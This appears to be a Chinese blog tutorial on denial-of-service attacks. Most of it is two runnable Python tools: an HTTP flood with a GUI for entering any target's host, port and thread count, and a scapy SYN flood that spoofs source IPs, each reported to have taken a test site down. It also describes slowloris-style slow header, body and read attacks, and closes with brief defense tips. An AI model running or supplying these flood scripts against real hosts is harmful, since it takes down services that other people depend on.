DOS攻击(一)
DOS攻击(一)
介绍
DoS是Denial of Service的简称,即拒绝服务,造成DoS的攻击行为被称为DoS攻击,其目的是使计算机或网络无法提供正常的服务。最常见的DoS攻击有计算机网络带宽攻击和连通性攻击。DoS攻击是指故意的攻击网络协议实现的缺陷或直接通过野蛮手段残忍地耗尽被攻击对象的资源,目的是让目标计算机或网络无法提供正常的服务或资源访问,使目标系统服务系统停止响应甚至崩溃,而在此攻击中并不包括侵入目标服务器或目标网络设备。这些服务资源包括网络带宽,文件系统空间容量,开放的进程或者允许的连接。这种攻击会导致资源的匮乏,无论计算机的处理速度多快、内存容量多大、网络带宽的速度多快都无法避免这种攻击带来的后果。
python实现HTTP Flood
这里目标页面如果不填写默认为网站根目录, 攻击线程数并不是越多越好,线程数是访问一个socket队列获取已连接的socket然后进行dos攻击。因为python中队列取值早就封装了锁,如果线程过多就会频繁加解锁这就给了服务器喘息的机会。

点击stop中断dos攻击

import queue
import socket
import easygui
import threading
def consumer(q):
while True:
try:
s = q.get()
s.send(bytes("dos", 'utf8'))
print("[+] send OK!\n")
q.put(s)
except Exception as error:
print("[-] send Exception\n")
s.close()
def producer(q, host, port, request_packet):
for i in range(10000):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((host, port))
s.send(request_packet.encode("utf-8"))
print("[+] Send buf OK!\n")
q.put(s)
except Exception as error:
print("[-] Could not connect\n")
s.close()
def main():
message = 'DOS攻击参数'
title = 'hello DOS'
attack_parameters = ['目标ip或域名', '目标端口', '攻击的目标页面', '线程数']
host, port, page, thread_num = easygui.multenterbox(message, title, attack_parameters,
values=['', 80, '', 5])
port, thread_num = int(port), int(thread_num)
q = queue.Queue()
if page is None:
page = '/'
request_packet = (f"POST {page} HTTP/1.1\r\n"
"Host: {host}}\r\n"
"Content-Length: 1000000000\r\n"
"Cookie: dos=9527\r\n"
"\r\n")
threading.Thread(target=producer, args=(q, host, port, request_packet), daemon=True).start()
threading.Thread(target=producer, args=(q, host, port, request_packet), daemon=True).start()
for i in range(thread_num):
threading.Thread(target=consumer, args=(q,), daemon=True).start()
easygui.indexbox(title='DOS', msg='Ongoing attack', choices=['Stop'])
if __name__ == '__main__':
main()
apache配置如下

开启攻击后网站直接无法访问

python 实现SYN Flood
from scapy.all import *
from scapy.layers.inet import IP, TCP
def syn_flood(target_ip, target_port):
while True:
# 随机的源IP
tmp = random.randint(10, 200)
src = f'{tmp}.{tmp + 1}.{tmp + 1}.{tmp - 1}'
IPlayer = IP(src=src, dst=target_ip)
TCPlayer = TCP(sport=4444, dport=target_port, flags="S")
packet = IPlayer / TCPlayer
send(packet)
def main():
for i in range(thread_num):
threading.Thread(target=syn_flood, args=(target_ip, target_port), daemon=True).start()
time.sleep(attack_time)
if __name__ == '__main__':
target_ip = '192.168.9.133'
target_port = 80
thread_num = 5
attack_time = 20
main()
上面是无法访问网站 下面这种synflood直接会让系统无法响应


源ip为随机ip 源端口也可以变成随机端口,右侧清一色的SYN请求

其他dos攻击
低速拒绝服务攻击(Low-rate Denial-of-Service attacks)
下面是正常get请求格式(纯手敲可能不规范)
GET或POST 路径 HTTP/1.1\r\n
Host:ip或域名\r\n
......
Connect:Keep-alive\r\n
\r\n
Slow headers
Connection: keep-alive ,但是保证http请求不以\r\n结尾。这样服务器会以为请求头并没有结束,然后每隔一段时间发送一个包每隔一段时间发送一个包,慢慢的让服务器陪着我们耗着。这一直未发送结束的HTTP包会一直占用服务端的资源。
Slow body
Content-length:10000000 请求体很长 一次发一点,耗服务器资源
Slow read
调整TCP协议中滑动窗口大小,来对服务器单次发送的数据大小进行控制,使得服务器需要对一个相应包分为很多个包来发送
还有ping泛洪(ping-Flood),UDP泛洪(UDP-Flood),分片炸弹(fragmentation bombs),缓冲区溢出(buffer overflow)和ICMP路由重定向炸弹(ICMP routeing redirect bomb)等等
DODS只是放大版的DOS ,由单个计算机攻击变成了成批计算机一起进行攻击
防御方式
- 分布式集群硬抗
- DDOS防火墙异常流量清洗
- 将非必要的网页做成静态网页
- 加CDN中转
- web服务器对应配置
- echo 1 > /proc/sys/net/ipv4/tcp_syncookies 能显著的延缓SYN泛洪造成的网络资源缺失现象
DOS攻击(一)的更多相关文章
- Linux下的DOS攻击
Linux下的DOS攻击 DOS是Denial of service的简称,即拒绝服务,造成Dos攻击行为被称为Dos攻击,其目的是使计算机或网络无法提供正常的服务.最常见的Dos攻击有计算机带宽攻击 ...
- XSS的DOS攻击之 server limit dos
墨西哥同学周末很郁闷的在宾馆上网,发现youtube被ban了,于是写个了tool解决这个问题.顺带想到了一种利用 google 统计的漏洞,写在这里了 http://sirdarckcat.blog ...
- 利用UDP19端口实施DOS攻击的真实案例
昨天在一个用户现场发现了一个利用UDP19端口对互联网受害者主机进行DOS攻击的真实案例.这个情况是我第一次见到,个人认为对以后遇到此类情况的兄弟具有参考价值.有必要做一个简单的分析记录. 在此次的分 ...
- DOS攻击和DDOS攻击有啥区别啊
DDOS是DOS攻击中的一种方法. DoS:是Denial of Service的简称,即拒绝服务,不是DOS操作系统,造成DoS的攻击行为被称为DoS攻击,其目的是使计算机或网络无法提供正常的服务. ...
- dos攻击
概念理解 DoS到底是什么?接触PC机较早的同志会直接想到微软磁盘操作系统的DOS--DiskOperationSystem?不,此DoS非彼DOS也,DoS即DenialOfService,拒绝服务 ...
- DOS攻击之详解--转载
源地址没有找到,间接引用地址:http://wushank.blog.51cto.com/3489095/1156004 DoS到底是什么?接触PC机较早的同志会直接想到微软磁盘操作系统的DOS--D ...
- XML DOS 攻击
内容来自此文:http://msdn.microsoft.com/en-us/magazine/ee335713.aspx DoS(Denial of service:拒绝服务)攻击由来已久(1992 ...
- TCP/IP具体解释--三次握手和四次握手 Dos攻击
TCP连接的状态图 TCP建立连接的三次握手过程,以及关闭连接的四次握手过程 贴一个telnet建立连接,断开连接的使用wireshark捕获的packet截图. 1.建立连接协议(三次握手) (1) ...
- 真实故事:网站遭遇DOS攻击
网站遭遇DOS攻击 一个.事件背景 长假对于IT人员来说是个短暂的休整时期,可IT系统却一时也不能停.越是节假日,越可能出大问题,以下要讲述的就是一起遭受DOS攻击的案例. 春节长假刚过完,小李 ...
- 远离DoS攻击 Windows Server 2016发布DNS政策
Windows Server 2016的网络功能虽然没有获得像Docker容器和Nano Server同等重要的关注,但是管理员们应该了解的是,新的域名系统(Domain Name ...
随机推荐
- session 会话机制以及变量覆盖
session会话机制介绍如下 http是无状态协议.服务器靠cookie和session来记住用户.$_SESSION 和 $_GET等一样,是超全局变量. 后台脚本里面会写: session() ...
- Linux下面有7个运行等级 run level
Linux下面有7个运行等级 run level run level 0 系统停机状态,系统默认运行级别不能设为0,否则不能正常启动 run level 1 单用户工作状态,root权限,用于系 ...
- mycat分库分表 看这一篇就够了
之前我们已经讲解过了数据的切分,主要有两种方式,分别是垂直切分和水平切分,所谓的垂直切分就是将不同的表分布在不同的数据库实例中,而水平切分指的是将一张表的数据按照不同的切分规则切分在不同实例的相同 ...
- JavaScript day04 函数
函数 函数讲解 函数是什么? 函数其实就抽取写好的js代码 作为一个通用的代码块 (封装) 作用: 减少代码冗余 (过多) 方便调用 (提供效率 提高代码的可读性) 便于维护 (二次修改) js有哪些 ...
- 【编程教室】Python绘制冬奥吉祥物“冰墩墩”
大家好,欢迎来到 Crossin的编程教室 ! 这两天,随着北京冬奥会的开幕,吉祥物"冰墩墩"可是火出了圈,多少人排长队都买不到.据说甚至有人把价格炒到了几千元. 就连昨天的&qu ...
- volatile 变量和 atomic 变量有什么不同?
Volatile 变量可以确保先行关系,即写操作会发生在后续的读操作之前, 但它并不 能保证原子性.例如用 volatile 修饰 count 变量那么 count++ 操作就不是原子 性的. 而 A ...
- Spring 切面可以应用五种类型的通知?
Spring 切面可以应用五种类型的通知: before:前置通知,在一个方法执行前被调用. after: 在方法执行之后调用的通知,无论方法执行是否成功. after-returning: 仅当方法 ...
- vmware 磁盘清理---还原虚拟机硬盘大小
linux host: 1.使用dd命令将客户机未使用的磁盘空间用0填满 cat /dev/zero > zero.fill;sync;sleep 1;sync;rm -f zero.fill ...
- 学习heartbeat-03t实现web服务的高可用案例及维护要点
8.Heartbeat实现web服务的高可用案例 8.1部署准备 通过web服务高可用案例来熟悉heatbeat软件的使用,用上面的两台服务器机器名分别为heartbeat-1-130和heartbe ...
- 学习Squid(一)
第1章 Squid介绍 1.1 缓存服务器介绍 缓存服务器(英文意思cache server),即用来存储(介质为内存及硬盘)用户访问的网页,图片,文件等等信息的专用服务器.这种服务器不仅可以使用户可 ...